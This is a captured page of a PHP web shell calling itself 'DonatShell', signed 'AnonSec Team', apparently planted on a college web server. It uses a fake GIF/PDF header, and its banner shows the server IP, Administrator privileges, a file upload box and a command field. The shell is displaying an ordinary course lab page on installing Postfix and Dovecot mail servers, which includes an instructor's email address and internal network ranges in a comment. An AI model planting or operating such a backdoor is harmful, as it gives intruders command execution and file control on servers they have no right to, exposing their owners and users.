GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/_Archive/Lab06.php
<?
// Lab06.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 06;
$assignmentType = "Lab";
$assignmentTitle = "Email server setup";
$evaluationType = "Lab";
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;

$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$js='openCenteredWindow';
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<p>
<fieldset><legend>Description</legend>
Setup email and IMAP servers.
</fieldset>

<fieldset><legend>Lab Instruction</legend>
<ol start="1">
  <li>Install the primary email server.
  	<ol type="a">
      <li>Install Postfix.
        <br /><kbd>sudo apt-get install postfix</kbd>
      </li>
      <li>Configure Postfix.
        <ol type="a">
          <li>Edit the Postfix config file with <kbd>sudo gedit /etc/postfix/main.cf</kbd> command.</li>
          <li>Change the <b>mynetworks</b> line and add your network.
            <br />My line became:
            <br /><kbd>mynetworks = 127.0.0.0/8 192.168.1.0/24</kbd></li>
          <li>Set the home mailbox to use the Maildir folder in the users home directory. Add the line:
            <br /><kbd>home_mailbox = Maildir/</kbd></li>
        </ol>
        <br />
      </li>
      <li>Restart Postfix with the <kbd>sudo /etc/init.d/postfix restart</kbd> command.</li>
    </ol>
  </li>
  <li>Install the IMAP email server.
  	<ol type="a">
      <li>Install Dovecot IMAP and POP servers.
        <br /><kbd>sudo apt-get install dovecot-common dovecot-imapd dovecot-pop3d</kbd>
      </li>
      <li>Configure Dovecott.
        <ol type="a">
          <li>Edit the Dovecot config file with <kbd>sudo gedit /etc/dovecot/dovecot.conf</kbd> command.</li>
          <li>Ensure the protocols line includes <b>imap</b> as in: <kbd>protocols = imap pop3</kbd>.</li>
          <li>Configure Dovecot to use the Maildir folder in the users home directory.
          	<br />Edit or add the mail_location line: <kbd>mail_location = maildir:~/Maildir</kbd>
            <br />You can see a sample /etc/dovecot/dovecot.conf <a href="Lab06/dovecot.conf" target="_blank">here</a>.
          </li>
        </ol>
        <br />
      </li>
      <li>Restart Dovecot with the <kbd>sudo /etc/init.d/dovecot restart</kbd> command.</li>
    </ol>
  </li>
	<li>Test your email configuration.
		<ol type="a">
			<li>Open and configure Evolution mail for you email account on your server.</li>
			<li>Send yourself a test email.</li>
			<li>Click on the <b style="white-space:nowrap;">Send/Recieve</b> button to refresh the Inbox.</li>
		</ol>
  <!-- 
mydestination = ubuntujim.loc, localhost
mynetworks = 127.0.0.0/8 134.29.175.0/25 192.168.1.0/24 173.0.0.0/8 134.29.169.0/26
mailbox_command = 
mailbox_size_limit = 0
recipient_delimiter = +
inet_protocols = ipv4
home_mailbox = Maildir/
inet_protocols = all
   -->
  </li>
  <li>
    Take a screenshot of your Evolution Inbox and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png</b>.
    <br />An example screenshot:
    <br /><img src="Labs/Lab06/images/<?=$courseNumber?>-<?=$evaluationName?>a-JimMartinson.png" />
  </li>
  <li>Open your test email.
		<br />
    Take a screenshot of your email message and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png</b>.
    <br />An example screenshot:
    <br /><img src="Labs/Lab06/images/<?=$courseNumber?>-<?=$evaluationName?>b-JimMartinson.png" />
  </li>
  <li>
    <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files:
      <ol type="a">
      	<li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png.</li>
      	<li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png.</li>
      	<li>/etc/postfix/main.cf.</li>
      	<li>/etc/dovecot/dovecot.conf.</li>
      </ol>
  </li>
</ol>
</fieldset>

<fieldset class="pio"><legend>Grading Criteria</legend>
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</fieldset>

<fieldset class="pio"><legend>Objectives</legend>
<ol class="obj pio" start="16">
	<!-- Week 8 16 Chapter 18 -->
	<li>Describe electronic mail (eMail).</li>
	<li>Install and configure eMail services.</li>
	<li>Use eMail services.</li>
</ol>
</fieldset>

<fieldset><legend>Notes</legend>
Here is a <a href="Labs/<?=$evaluationName?>/<?=$evaluationName?>.zip"><?=$evaluationName?>.zip</a> file with examples of what must be turned in as well as gedit and sudo scripts to help with the assignment.<br />
</fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team